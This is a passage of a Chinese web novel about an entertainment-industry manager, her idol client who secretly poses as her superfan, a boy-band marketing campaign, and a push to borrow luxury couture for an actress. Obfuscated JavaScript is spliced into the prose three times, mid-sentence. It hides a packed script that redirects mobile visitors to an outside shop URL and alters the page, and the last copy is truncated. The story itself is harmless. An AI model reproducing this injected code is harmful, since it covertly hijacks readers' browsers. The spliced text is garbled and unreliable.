他怔着好半天没反应,只有脖颈间的喉结微动,眼睑及眼尾的薄薄皮肤洇开浅淡的红,一出声,就沙哑了:“我...我,不要那样叫我了。” 也太好逗了。 宫欢偏头去看他口罩上未遮挡完全的皮肤,捕捉到点什么,扬起唇角大大方方笑了声,转而朝主持人那边走去,准备沟通下一环节的事宜。 奚亭云的手指反复扣着手机壳边缘,留下几道显眼的印记。 - 第二个活动是签名合照环节。 安声和萧子重接连从后台走出来,随着工作人员的引导坐在各自的海报旁边,桌上放置水杯,签名笔,左右站着两三个工作人员。 还有一个人却迟迟不见影子。 主持人不敢贸然开始签名环节,拉着宫欢问:“还有一个老师在后台吗?签名环节要持续很长时间,能请他尽快出来吗?” 宫欢这才意外地发现只有两个人坐在签名桌后,时间过了五六分钟,奚亭云从来都遵守时间,今天怎么一直没人影。 她安抚着主持人情绪,顺手想给奚亭云拨个电话过去,解锁屏幕后,微信页面出现,联系人里面奚亭云的消息有三条未读。 宫欢登时一愣,有种不好的预想。 点进聊天页面,点开语音条,属于奚亭云的独特的音质像镀了层月色清冷,可又带着难过的语气。 不要来找我。 我缓一缓就好。 你凶我骂我吧。 宫欢确实很想骂他,如此重大的场合面前,她最不允许有失的事业上,在这一刹那偏差了。 他怎么了? 他出事了? 宫欢迅速躲开其他人,急匆匆往后台走去,同时撂下几句话通知其他人:“签名环节先开始进行,奚亭云的粉丝如果问起来,就说他身体不适在吃输液,晚点出来!” 高姐与一众小助理连声应道:“收到。” 这边闹腾腾的动静惊醒了站在几家大粉面前聊天的奚亭云,他转过头看见宫欢的背影,一瞬间想到什么。 手中紧急将账号切回去,他一边向几家大粉说着晚点聊,一边小跑着从后台其他通道进去。 宫欢直接打来语音通话,他慌乱地摁掉铃声悄悄接起。 “欢欢......” “放了五天的三明治你还敢吃?” 宫欢质问的语气传来,她人已经进入后台,目标明确直冲休息室:“你现在在哪,感觉还好吗,实在不行就先去医院。” 奚亭云步伐放慢,每走一段路就找到掩体遮挡自己的身型,悄悄探出头观察宫欢找到了哪里: “我,我当时不知道,吃完之后才发现的...我没事,吃过药好很多了......对不起,我又给你添麻烦了。” 奚亭云快步走到休息室附近时,听见远处传来有节奏的脚步声,敏锐地判断出那是宫欢走路的步伐速度。 情急之中,他身体一侧躲在转角处,露出一只眼睛,看见宫欢进入了休息室没找到人,只得绕了一圈出来,单手叉腰站在门口。 耳机里也传出她焦急的声音:“别扯那么多了,你现在人在哪,我去找你,你身体到底能不能撑得住,我自己看得出来。” “我在...洗手间。”他忽而低声说,“马上就出来了。” 休息室门口的宫欢听见目标地点,果断一转身朝另一个方向那边快步走去,还不忘嘟嘟囔囔:“不是吃了药吗......” 等她走远,奚亭云闪身出来,放轻脚步走入休息室,将门轻轻关闭反锁,手机放在桌上,他两手极快地抓住衣摆脱掉,一边还和宫欢说话: “可能我吃的不够多,药效起得慢,但是确实缓解了很多。外面的粉丝是不是等很久了,她们生气了吗?” “我自有办法,你别管那么多。”宫欢步伐匆匆赶到男士洗手间门外,她不便进去,只好站在门口,“你快出来,我在门口——” 话还未说完,手机信号被干扰断开,通话中断。 奚亭云将帽子口罩一把扯下,胡乱塞入运动包内,对着化妆镜整理被弄乱压扁的发型,再卸下美瞳,将衣服整理好后过了四五分钟。 欢欢应该不会进男洗手间,他换好衣服就去找她...... 所有衣服整理得细节无差,他才放心地走到门口,手搭在门把手上微微拧动。 门一开,外面站着宫欢。 她面上看不出情绪,不知道在门口站了多久,就这么直直地看他。 奚亭云心口重重跳了几下,甚至出现了短暂的耳鸣,他勉强镇定下来,险些露馅,面上神情忍了又忍,扯出点笑容装作正常: “欢欢......让你等久了。” 宫欢拧着眉头细细看他,脸色确实苍白,额角还有几滴冷汗。 “我刚才在休息室没找到你啊,”宫欢堵着门,盯着他看,“还去洗手间等你好一会,都没看见你人影,你刚才到底去哪儿了?” 奚亭云咬了咬口腔内的腮肉,他呼吸微乱,语气发飘:“我去了右边休息室的洗手间,那边近一点...欢欢是去了公用洗手间吗?” 宫欢想了下,点头:“嗯,我以为你在那,里面有人出来的时候说只有他一个人。” “要不要再休息会?” “不用的,我现在好多了。” 奚亭云坚持可以继续进行接下来的活动,宫欢也就任他去了。 两人走出后台,排在奚亭云海报那边的粉丝们张望许久都看不见自家爱豆,早就心急难耐,这会看见后台走出身姿挺拔、气质非凡的一个人,视线马上就转过去锁定。 “奚亭云!!啊啊老公扇我!” “嗷嗷嗷啊云云!爱你我爱你啊啊!” “奚亭云奚亭云!!老婆看我!” 奚亭云还没练出那副身经百战的从容有余,乍一听乱七八糟的表白,略有些别扭,他抿着唇不言语,面色微微转红。 另一边与粉丝合照的安声简直不要太热情。合影时主动比心,亲昵地与粉丝脸贴脸,多情的眼睛看谁都放电,每个笑容简直完美得没有瑕疵。 隔壁的萧子重也非常淡定,他本就拽拽的,拍照时有点懒散也符合性格,有粉丝叫他老公时,他啧一声,难受怪异得不行。 这矛盾的样子反而让粉丝们更上头。 奚亭云走到海报旁的专属座椅坐下,工作人员开始引导粉丝靠前。 最先入场的粉丝猛冲过来,递上一张他初舞台的神图海报,奚亭云换上公式化的笑容:“想要些什么祝福语吗?” 粉丝疯狂点头:“写xxx永远幸福快乐。” 他点点头,拿着大号签字笔在海报上流畅写下一串字。 字体的转折处洒脱自然,执笔姿态俊逸出尘,尤其是坐姿端正,头微微偏着看自己写过的字,看着就有书香门第的既视感。 奚亭云落笔后将海报递还回去,粉丝看着海报上的一串字惊讶得哇哇叫:“啊啊云云你的字也太漂亮了,是不是练过的呀!求你多写点字,多发发微博嘛。” 他微微顿住,执笔的手撑在桌上,不知想了些什么,片刻后才缓缓点头,温雅沉稳的态度让人如沐春风:“好,谢谢你的喜欢,我会多发微博的。” 宫欢注意到这边的动静时,已经过了好几个粉丝。 每个粉丝得到签名时都惊叹出声。虽说其他粉丝拿到签名也会激动,可奚亭云那边的情况不太一样,好像是对什么惊讶。 她绕到奚亭云身后,视线一望过去,就见他拿着笔点在海报上刷刷签下大名——字迹圆润可爱,没有棱角,像是奶酪体之类的。 这有什么可惊讶的? 宫欢纳闷不已,心想,可能是奚亭云长着知识分子的脸,写出来的字却偏可爱? 宫欢耸耸肩,不再多看,转身去其他地方检查流程环节。 签名合影这一环节持续时间是最久的,现场上万人,由三人按次序签名合影,时间一拖就是几个小时,好在结束节目是三人跳新舞,不需要耗费太长时间,能卡在与会展中心的约定时间内完成。 签名环节结束后,三人长时间坐着导致腰酸背痛,走回后台时都扶着腰,他们回到各自的休息室换上适配新曲的妆造。 宫欢则走向各家大粉,和几人聊了几句,除了刚才看见‘欢欢打爆全场’,后面一直没注意到他人去哪儿了。 宫欢问她们:“看到那个‘总指挥’了吗?” 大粉们:“有啊,刚才他还来跟我们聊天了,后面好像很忙的样子,不知道去哪里了。” 在帮忙维持秩序吗? 宫欢往远处层层叠叠的人头海洋里看,根本没办法找到一个人。 她只好给他发微信:【我的总指挥,你去哪里了?】 男团换好服饰后回到舞台上,背景的巨大屏幕转播出现场的粉丝们,随着音乐声响起,三人舞动身体...... 宫欢没看舞台,只是目光落在大屏幕里,每次转播画面时,她就在一众人群里寻找带着黑色口罩的人。 可他微信没回,人也无影无踪。 维持秩序有这么投入吗? 宫欢觉得难得有这样一位忠实粉丝支持她,必须要还以丰厚的回报。 等舞台结束,现场粉丝们久久不愿离开,欢呼着送三人回到后台。 奚亭云再次急匆匆地往休息室跑,他额头凝着细小的汗珠,气还没喘匀,就越过两人进了休息室,嘭地一声关上了门。 安声和萧子重莫名地互相看看,搞不明白状况。 休息室内,奚亭云抽着纸巾擦汗,剧烈运动的缘故,皮肤的热度仍未消退,脱衣换衣这套动作在两三次的操作里已经能熟练完成。只花了十来秒,他就换下了全身的衣服,穿上粉丝套装。 换装里面麻烦的就是妆容,花了七八分钟才掩盖完全。 这回奚亭云长了心眼,他先贴在门边听外面的动静,等人走完了,才悄悄拉开一条门缝,快速地窜出去进入其他后台通道。 穿过偏黑的通道出口,外面空气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126431|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骤然清新,会展中心播放着欢送的BGM,工作人员也举着喇叭引导粉丝们离场。 会展中心空出一些位置后,被挤在二楼的宫欢粉丝们一个个趁机溜下一楼,逆着人群方向往舞台那边凑,三四个女孩好不容易挤过来,站在警戒线外找宫欢的身影。 宫欢没找着,却看见个熟悉的人影。 “诶诶你们快看,是老大!” “老大!?——老大!我们在这里!” “老大你看见欢欢了吗?我们好不容易挤过来的!” 那一身黑的标志性穿着,气质不俗的体态,不正是她们的老大——‘欢欢打爆全场’吗。 他听见几人的叫声,转头看过来,抬手朝几人招了招。 等几人走近,奚亭云问:“你们看见欢欢了吗?” 几位粉丝纳闷:“老大,我们还想问你呢,你说欢欢今天邀请你来的嘛,你们没在一起吗?” 奚亭云沉默一瞬,有些自责地说:“我到处跑,没跟好她。” 几人凑在一块聊,宫欢从舞台后方走出来时一眼便看见她亲爱的粉丝们。 她走近几步,听见大粉自责的话,抬手朝人肩上拍了拍,笑着调侃:“说什么到处跑啊,你今天帮了我很大的忙呢。” 她拍的力道不重,甚至可以说是拍灰尘的力度。 他却浑身剧烈的抖动一瞬,隔着薄薄的衣物布料下的肌肉紧绷得缩动起,瞬间变硬。 宫欢察觉到他这细微的变化,无措地将手收回,她关切地看他,以为他是被吓到的临时反应。 “欢欢!啊啊欢欢终于见到你了呜呜!” “可以合影吗,合影!”一个女孩激动地拿起手机蹦蹦跳跳,宫欢便收回看着大粉的视线,配合地看向手机镜头,笑意灿烂。 奚亭云侧过身看着,身体热度久久消不下去。 刚才她触碰的那一瞬间,属于她的气息太快地扑过来,他差点,就暴露了。 等几人签过名合过影,宫欢看向他,笑吟吟的眉眼弯着:“我们今天好像还没合影,不一起拍张照片吗,就当做,谢谢你今天帮我维持现场的酬劳?” 奚亭云迫不及待地将手机递给其他粉丝,上前一步站在宫欢身旁,他贴心地俯下身体,只是还克制着避开些距离,就顶着个这么全副武装的看不出个人形的装扮,和宫欢合影。 在场所有人都露出微妙的神情,两人距离拉近的时刻,宫欢声音轻到几不可闻:“…你整容修复期还没过吗?” 他身体微微僵硬,迅速回忆到之前他等宫欢下班,怕被误会是坏人的那时,他随口扯出的谎言。 合影拍完,其他粉丝们叽叽喳喳说了很多话,奚亭云保持着安静,一句话都没插进来。 不一会,宫欢便让助理带她们去休息吃零食,抽出了时间。 人多的时候大粉很少说话,现在没人了,他倒主动起来,面对宫欢捏着手机,屏幕始终停留在刚才的合影上。 “这是我们第一次合影...”他说,覆盖在面部的口罩因为呼吸而凹陷下去,“谢谢你邀请我来现场应援,我,我没想到能有这样的机会,这么近距离的看着你,我昨天,激动得睡不着,满脑子都在想你……” “我们能见你的机会很少,只有接机,或者活动才能看见你,能亲口和你对话,听到你的声音......简直是,幸福得...好想就这么死掉……” 他说到后面,声音越来越轻,几乎听不清楚。 眼眶发热,他甚至想落泪。 好难。 让宫欢专注地看着他好难。 可此刻一切都梦幻般的实现了,她与他面对面,视线没有任何偏移地看着他,浑身的血液仿佛都在沸腾,她身上传来淡淡的某种植物的清香,大概有迷幻的作用,否则奚亭云为什么脑子发胀,昏沉得飘飘然。 “真的有这么喜欢我?”她问。 他胡乱点着头,“嗯,非常喜欢,喜欢到什么都可以给你。” 宫欢姿态洒脱,大大方方地笑着,像沐浴着爱与阳光而茁壮生长的植株:“那这样,以后你就给我当应援总指挥吧。” 他喃喃重复着:“应援总指挥......?” “就像今天这样,你帮我维持粉丝之间的关系,有应援活动的话我也会请你一起出场,”宫欢说,“放心,不是免费的,我会付给你酬劳,你也算是我的工作室团队里的一员,怎么样?” 她的声音清亮好听,入耳像清澈泉水汩汩流过。 原来这样也是可以的。 奚亭云忍不住往前迈了半步,与她距离近得容纳不下半个人。 被她签约成艺人之后,在无数个不安的、辗转反侧的夜里,奚亭云曾焦虑得在她微博私信里整夜整夜地发消息。 他想说,如果他没有被她选择成为艺人,他们是不是永远都没有交集的可能。 如果永远没有,他反而死得很安心。 可偏偏宫欢找到了他。 她选择了他,这令他很长一段时间都像飘在云端。他竟然莫名地嫉妒那时的自己,他凭什么可以被她明澈漂亮的眼眸看着,他只是被机会与巧合砸中,他怎么真正配得上那样的目光呢? 明明一直藏在阴影里的他才是付出最多的,他了解她的一切,他组建喜欢她的后援会,他为了每个诋毁她的营销号奋战到天亮。 他一直这样不平衡着身为艺人的自己如此轻而易举地得到宫欢的关注。 没想到,就在今天,就在此刻,宫欢说“我会请你一起出场”。 他想要她喜欢作为艺人的他,却也更贪婪地、渴求地想要她疼一疼卑微的粉丝。 奚亭云所有的纠结嫉妒都被她化解了。 她不只是喜欢艺人奚亭云的,她也喜欢粉丝‘欢欢打爆全场’。 即使他没有被她签约成为艺人,她也会一步步地看见他。 奚亭云突然笑了,眸底有隐藏的水光一闪而过,他摇头:“不,我不会收欢欢的钱。” “能一直为你应援我就很高兴了,”顶着宫欢惊讶的目光,他放轻声音,“......欢欢能答应我一个请求吗?” 宫欢没想到世界上还有不为钱财所动的高洁之士,她欣赏地看着这位大粉,豪言壮语:“你尽管说,只要我能满足你的,我都尽量做到。” 奚亭云短暂地停顿几秒,话到嘴边绕过几圈,还是没说出口。 “我还没想好,可以先存起来吗?” “可以可以,”宫欢点头,心情愉悦得看什么都格外顺眼,“那就等你想好了,再告诉我吧。” “嗯,,,,,,” 141. 一章营销篇 粉丝见面会当晚,X男团的营销通稿铺天盖地的出现在所有平台。 这一夜,所有媒体社交平台的网民们都被那四个大字刷屏—— 【草根天团】。 粉丝精心拍摄的合影照片在某书某播大肆转发,现场的高清vlog成为当下热门话题。 X男团能文能武,演戏唱跳样样行的言论渐渐占据评论区。 之前因为三人的过往履历炒出的热度还未完全退散,各家男女团粉丝们仍在嘲讽X男团不挑人,谁都能上,没有一点专业的舞蹈音乐功底,纯靠卖脸。 而粉丝们见工作室发出【草根男团】的概念后,仿佛找到了一条明路,纷纷下场回击其他家粉丝。 别家粉:【你们主C之前就是街边驻唱的,我们爱豆可是韩国练习生出道,这有可比性吗?】 X家粉:【一路从草根打到大舞台我们家哥哥的励志人生你嫉妒了吗?】 别家粉:【果然这年头都是草台班子,连炒饭的都能当男团成员了,内娱这么不挑了啊?】 X家粉:【街边炒饭的老板都比你们家爱豆火,真不知道谁要哭哦。】 别家粉:【‘风雨九州’谁演都会爆好吧,这么好的班底和剧本,猪都能起飞,你们不过是趁了剧的热度才火的,还真以为你们家爱豆有几分演技】 X家粉:【牛,一下得罪了所有参演演员。】 不知道是粉丝见面会起了作用,还是宫欢的营销策略的确鬼才,或许两者互相成就,男团的风评在这之后直线上升。 前有三鬼将,后有草根天团,三人的名字都被反复提起,光是三鬼将便赚足了国民辨识度,其次草根天团的接地气又吸引了众多的路人为三人站边。 有业界人士细扒男团的走红之路,简直像是有如风助般顺利,可再细想,三人身后背靠的不是一般人,那可是全网噱头融聚一身的宫欢! 她黑料缠身,每次公开亮相必有瓜,人人的眼睛都盯着她,仿佛她就是八卦风暴中心。 让一众圈内人士惊奇的是,这位经纪人不知什么时候掌握了运用流量自如的手段,每一步都让人无法预测,却每一步都走得精妙稳当,让平平无奇的三个人一跃爆红,跻身新晋流量小生之列。 现今在娱乐圈内,造星不如以前。 光是想要条件好,出身干净的艺人就已属不易,而艺人是否能吸引大众目光,路人缘如何又是一个玄学。 虽说圈内默认都用水军冲锋陷阵,可要真比国民度,收视率,认可度那就是另一回事了,大众的每一双眼睛都是一张票,投给谁谁才能走到最后。 宫欢的营销手段在圈内人看来有时真是精妙至极,外界人士不懂,但圈内人将她的招式一笔一划地拆开,竞相模仿。 她自身本就占据流量大头,旗下艺人首先分一部分流量关注。 她悄无声息打造男团形象,不惜自毁身价营造压榨艺人的形象,吸取大批的基础怜爱粉,接着在初舞台与璀璨娱乐的TXT对擂,凭‘荧光脸’事件引爆对方黑料,吸引两边粉丝对战。 可宫欢却没有留恋男团未来唱跳的单行道,而是转头将目光投向影视剧,男团三人参演‘三鬼将’这招是圈内营销人公认的绝招。 不拆分三人,也不将三人剧情打散,而是‘绑定参演’。 三人自身条件跟得上,爆火是意料之中,但一旦绑定,后面再想分割就没那么简单。 在三人经受‘履历质疑’风波时,宫欢先开粉丝见会面,与粉丝和解她之前的压榨形象,其次又巩固粉丝与三人的连接。 宫欢维护粉丝也是一把好手。圈内人想,就此,宫欢该安分一阵,让男团稳定发展了吧。 可谁能想到紧跟着她又丢出王炸营销——【草根天团】! 娱乐圈有草根演员,草根影帝,草根影后,草根歌手,可从未有过‘草根天团’! 偏偏这‘草根天团’谁都还挑不出错,炒饭摊主、街边卖唱歌手、三流话剧演员,哪一个都符合大众的草根印象。 三人的人设设计也非常到位。 没有滥用的吃货、老干部、与世隔绝、朋友不多、爱看书、智商高、朋友成群等人设,而是就根据三人的自身气质来打造,毫不违和,且意外地真实。 她运筹帷幄,步步精准,丝毫不像外界传言的那样跋扈嚣张,反而思维清晰,下棋精准。 于是,随着艺人们的风评高涨,宫欢被各类娱乐自媒体分析过后,不少人对她的评价不再是单一的‘耍大牌’、‘作死’、‘嚣张跋扈’,而是慢慢地发现她这一位金牌经纪人的独特之处。 ...... 《重生之家产一定是我的》近日在四大视频平台开播。 先前放出的预告片里出现过赵莉莉饰演的三姨太与男主的暧昧,这点背德小妈继子的情节吸引了大批观众。 请你滚:【这么一个大美人,总是被安排各种边缘女性角色,她的美直接大打折扣了好吧。】 不知道不直达不晓得:【她也就美拿得出手,演技根本不行啊,不然怎么总演性感角色?】 谁说我是影帝:【不管了,背德看一个。】 你们都闭嘴:【赵莉莉也是有演技的,可惜美貌太盛,演技就被压了下去。】 预告片播放至一半,赵莉莉饰演的三姨太与男主视线相接,三姨太眼睫颤颤,偏过头装作赏景。 她姿态柔美,旗袍衬得人气质娴静温雅,五官带着说不出的悲戚。 镜头一转,赵莉莉被关在祠堂罚跪,男主从暗处走出,两人再次对视,赵莉莉眸中泪光由少积多。 拍摄手法非常精妙,视角在她身前斜侧面的位置,一地的清白月光,映出她单薄纤弱的身影,不肯塌下去的腰,高高扬起的头,她眼中颤动的泪光在月色下坠落。 赵莉莉的声音颤得发抖:“你为什么来!?她们根本不知道是谁,你来不就是承认吗!” 男主从暗处走至月光下,他撩起大褂下摆,单膝跪在她身侧,声音温和:“姨娘,,,...我不能就这么看着你被污蔑。” 视频弹幕上一连串的飘过“刺激”、“刺激”。 这段剧情被发至某站,说是近期最值得期待的影视剧,男主是近期当红小生,女二又是赵莉莉,剧本由小说改编成剧,怎么都不会差到哪里去。 只是大多数人只认可赵莉莉的美貌,至于演技之类的,就另当别论了。 预告片出来没多久,剧集正式开播。 赵莉莉的角色占据男主前期回国部分,播出期间这部剧经过推广,热度稳步上升。 宫欢最近刚整理完赵莉莉以往的所有代言商约,前段时间进组拍戏后,许多商务都往后推了,耽搁不少时间。 赵莉莉的自身资源本就好,只是这两年的作品不太理想,导致一些网络风评开始跟风带节奏。 这也属实无奈,宫欢知道圈内女演员的路不好走,想演好角色就要舍得豁出去,想自保就得什么角色都接,而被挑过筛选过后留下的剧本大多都是被嫌弃的。 赵莉莉长相精致美艳,一些导演常按照自己的想法来——让她演风俗,演寡妇,演那些恶俗没有内涵的花瓶角色。 她常常无法拒绝,拒绝就别想演戏了。 新剧播出的热度还算高,有几家活动主办方邀请赵莉莉走红毯帮忙站台。 之前因为转型的事情,赵莉莉很长一段时间没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126432|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有接剧本,短暂地在荧屏上消失了几天,而再次让大众注意到她的,是之前在【敢说敢言】里陈丰与她的绯闻。 好在最近的新剧播出成功拉回大众对她本人的关注。如果再搭配红毯站台,说不定能上个热搜。 红毯很大程度上能提高话题度与曝光度。 宫欢非常看重这次的红毯机会。 这次是由几家品牌方合作主办的星光大赏晚会,邀请了当红的大小明星,本来也邀请了X男团的,但宫欢以档期不方便为由挡掉了。 三人最近大火,风头正盛,有些时候该收敛些锋芒,宫欢将他们上红毯的机会调整到了更晚些时候的待定邀约。 红毯造型里女星的妆造是重中之重,男星的服饰通常不多变,因此宫欢一定下星光大赏红毯后就找赵莉莉商量红毯造型。 别墅后花园。 赵莉莉单脚立于瑜伽垫上,两手伸展做出高难度动作,一旁的宫欢则拿着小本子在旁边随时做要点记录。 “我查了一下,这次参加星光大赏的女星有10个,四个二线艺人,两个一线艺人,四个新晋小花,”宫欢一本正经地详述着,“她们分别在看各家奢牌高定了,我放出你要去星光大赏的消息后,有一些你之前合作过的品牌方在问这次要不要合作。” 赵莉莉身体倒立,双脚轻搭在一棵树的树干上,她气息丝毫不乱:“你觉得呢?” 宫欢将拿着小本子的手回折撑起另一只手,笔尖敲着自己下巴:“嗯...我觉得不合适。” “你之前合作的品牌方在时尚圈里只能算是二流的轻奢牌子,平时商演和一些商务红毯穿穿就可以了,这回是你隔了一段时间的第一次露面,必须要穿一流奢牌高定稳住咖位。” 宫欢说,“不过,我之前看过你的资源合作历史,有过奢牌想找你的记录,但是都因为种种原因不了了之,我就不问原因了,你的想法是什么?” 那是之前合作的经纪人擅自为她接了其他来钱快的影片角色,根本不管她的未来发展路线,后来那部影片上映后也是一片骂声。 赵莉莉倒立时面色淡然如常,甚至还能做到面部五官不扭曲,盈盈一笑:“我想往上走,直到走上国际舞台。” 她就用这么淡淡然的语气放出最狠的话。 宫欢的心一下被她这强大自信的气场感染,满意且欣慰地看着赵莉莉,欣赏之情溢于言表。 “行,只要你放了话,其他就交给我吧。” 一流的高定奢牌有固定的合作明星,且都是荣誉加身,拿过实在奖项的,再或是炙手可热的当红新晋小花。 像赵莉莉已在圈内混迹多年,却没奖项傍身,口碑风评被污名化过后,就鲜少有奢牌找她了。 宫欢想为她洽谈一流奢牌的高定服饰,是有点难的。 在为赵莉莉公关营销的策略上,宫欢非常之慎重。 不同之前给男团营销,她走的是各类接地气、好传播洗脑的风格,对待赵莉莉,她做出过十几套营销方案。 女星的营销上面,大众的敏感度超常的高。赵莉莉以前出演过的风俗角色经过一些不良媒体的娱乐新闻胡编乱造后,她就没有清白过了。 在【敢说敢言】陈丰与赵莉莉的绯闻事件后,宫欢做出过相对的营销引导,可惜大众对澄清不感兴趣,只对绯闻,美艳女星与儒雅男星的八卦感兴趣。 《重生之家产一定是我的》这部剧虽说表面上也是小妈继子背德的噱头在前,可剧本内核,人物内核摆在那,近期上映后反响还算不错,要是宫欢加把火推动营销,或许能掀起点水花。 赌的性质更大。 星光大赏在半月后,想借到高定服饰就要看宫欢的本事了。 142. 其实辣也挺好吃的 她话还是放得太早了。 一天之内连转七场社交,宫欢满身疲惫地瘫坐在私家车内,肩背垮着,往后一瘫,驾驶位上高姐也眉头紧拧。 “你真的一定要给赵莉莉拿到奢牌高定吗?”高姐语重心长地问,“她之前合作过的时尚资源再利用也不会出大问题。” “不行。” 宫欢果断否决,她换了个姿势躺在后排,两眼里的光消失的干干净净,全是过度社交的后遗症,“我们绝对不能放松每一个机会,尤其是在每隔一段时间的公开场合上,就算被有心之人说什么用力过猛,那也起码比平平无奇的好。” “你知道的,”宫欢深深长舒一口气,“在娱乐圈,没有话题度就没有未来。” 车停在路边,还不知道下一个地点去哪里。 高姐搭在方向盘上的手指轻敲着,无奈地问:“接下来去哪个品牌方的饭局?” 宫欢脸色一下苍白不少,摆摆手:“先,先让我缓缓,我现在看见人多的地方就想晕过去一了百了。” 后视镜照出她眉眼间的疲乏,她抬手揉着酸胀的额头. 高姐凝神看了片刻,眼神微动,犹豫地放慢语气:“或许,借用一下宫家的名号能让过程简略很多,我们能更快地达到目的。” 宫欢揉着太阳穴的动作停下,睁开眼对上后视镜里高姐的目光,不像平时插科打诨闹得欢,审视的意味一闪而过,她态度忽得冷下来,带着些疏离冷漠: “每次去那些社交场合都会有人问我跟宫家有什么关系,我是怎么回答的?” 她在问她,高姐避开她的眼神:“不熟。” “‘宫氏集团不显山不露水,是无数人都渴望搭上一二的顶级财团’,”宫欢模仿着酒宴上一些人的吹捧,偏圆的眼眸随着面容冷然而微微下压,显出少见的轻蔑,“但很可惜,我宫欢只不过是一个恰巧同姓的一个小路人罢了,哪儿敢攀上他们啊。” 大概车内氛围太压抑,宫欢笑了笑,却暗含些压迫感:“以后呢,就不要说这些不可能的事情了,伤感情,你说呢。” 高姐跟了宫欢两年,几乎从未见过她这般疏离的态度,即使是在笑,却只让人背后发凉。 她抿着唇点头,微不可查地叹息:“是我的错。” 宫欢不再多说,拿出手机翻看着,随口报出下一个地点。 车缓缓行驶上路,宫欢借着看手机的掩护,给一个经常合作的私家侦探发去消息:【在吗,帮我查一个人,一百万。】 ,,,,,, 为了显出诚意,这场饭局宫欢叫来了赵莉莉一同作陪。 车抵达一处幽静园林,宫欢下了车,恰巧碰见赵莉莉也从车上下来,两人走近后开始通情报。 “来吃饭的有三个人,”宫欢压低声音,“都是品牌方,能直接定下奢牌高定的事情,等下我们俩配合,把他们全灌醉!” 赵莉莉以前很少应酬,主要是怕饭局上节外生枝,她也不爱应和别人,索性全都不去。 最近宫欢为高定的事前前后后的忙活,她心里过意不去,才主动提出一起。 两人进入预定的位置,这处园林饭庄地方安静,菜系清淡可口,档次不低,且保密性强,不少商政界人士常来这里。 两人坐下,等了片刻后几人陆陆续续来齐。 宫欢负责起到氛围组的作用,她绕着桌子前后敬酒,好听话说了满箩筐。吃喝时都欢声笑语,互相调侃得你来我往,可一到高定的事儿,没一个吱声的。 宫欢身旁坐着一位品牌方的高层,她端起酒杯轻轻碰碰对方的,笑得灿烂:“您给个准话嘛,哪怕是之前的高定也都好商量的,最近我们莉莉新剧上映,后续我营销跟上,不愁没热度啊。” 这人为难地放下筷子:“高定的每次出借都要经过流程审批...最重要的是需要上面的许可,出借高定等于合作,我们不好擅自决定。” 宫欢轻笑了声,放软声音:“您别谦虚了,我还不知道嘛,在座几位参与过多少红毯秀场啊,都是老资历了,上面也就是走个过场的事。” 坐在赵莉莉身旁的女人喝了口酒,摇晃着酒杯,说得更为直白:“宫欢,我想你也知道我们需要考虑的问题有很多。” 她说着看了一眼身旁的赵莉莉,“品牌最看重明星带来的后续效应,更注重一位明星艺人的自身星光,我想,赵莉莉之前的一些风评并不太符合我们的品牌宣言。” 这话直白到简直是点着她们骂了。 宫欢向来脾气大,脸上瞬间挂起一层灰扑扑的不满来,就算是她求别人,那也不带这样骂人的啊。 反倒是被点名的赵莉莉本人面上笑意不变,桌下的手轻拍宫欢的腿,示意她别急。 “您说得是。” 赵莉莉今日一身黑色亮片的一字肩长裙,垂坠感十足的布料紧贴她挺拔高挑的身体,举杯动作间颇有80年代港星风范,她单手执杯向邻座女人轻举。 “外界对我的认知还在之前的风俗角色上面,因此也认为我本人就是那样的人,这样的污蔑与言论一时半会很难摆脱,各位有担忧也是正常的。” “前段时间的X男团我想各位都有所耳闻,”赵莉莉偏头看了眼宫欢,脸上仍带着优雅的笑,“我的经纪人宫欢有能力捧红三个草根艺人到大众熟知的地步,我想,她也一定能帮助我摆脱之前的困境,成功完成转型。” “各位难道不想赌一把,在圈内我的资历并不差,大众熟知度也有,只是差一个“洗白”的机会,”赵莉莉站起身,举杯向三位品牌方的人示意,“请各位给我们哪怕一点的助力,都够了。” 她说完,将手中大半的红酒一饮而尽。 宫欢怔怔地看着站在她身旁的女人。 赵莉莉今年大概31岁,可面容保养得当,常年体态锻炼从不落下,她爱好养生,烟酒不沾,辛辣不食,甚至连睡觉都要定时定点。 可今天一桌子的辣菜全是宫欢为了品牌方点的,赵莉莉一直在吃,吃得唇瓣红肿,眼眶发热,甚至小幅度地吸鼻子,偷偷摸摸在桌下擦鼻涕。 她将那杯酒一饮而尽后,面容迅速浮上微醺的浅红色。 宫欢只觉得她此刻风姿绰约,平时温温柔柔的漂亮姐姐一下帅到爆炸。 她后知后觉地反应过来,猛地站起身伸手拽了拽赵莉莉,压低声音急切地说:“你不是不喝酒!?” 赵莉莉唇边染着鲜红的酒渍,笑时眼底已经带着些醉意:“你不是也在喝吗。” 宫欢被她反问地愣了一下,硬着头皮说:“...我本来就是烟酒都沾的啊。” 她别扭地撇撇嘴,“我可不想等下扛着你回去。” 宫欢将赵莉莉手里的酒杯拿走,搀着她手臂将人摁回座位上。 随即脸色一下变回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 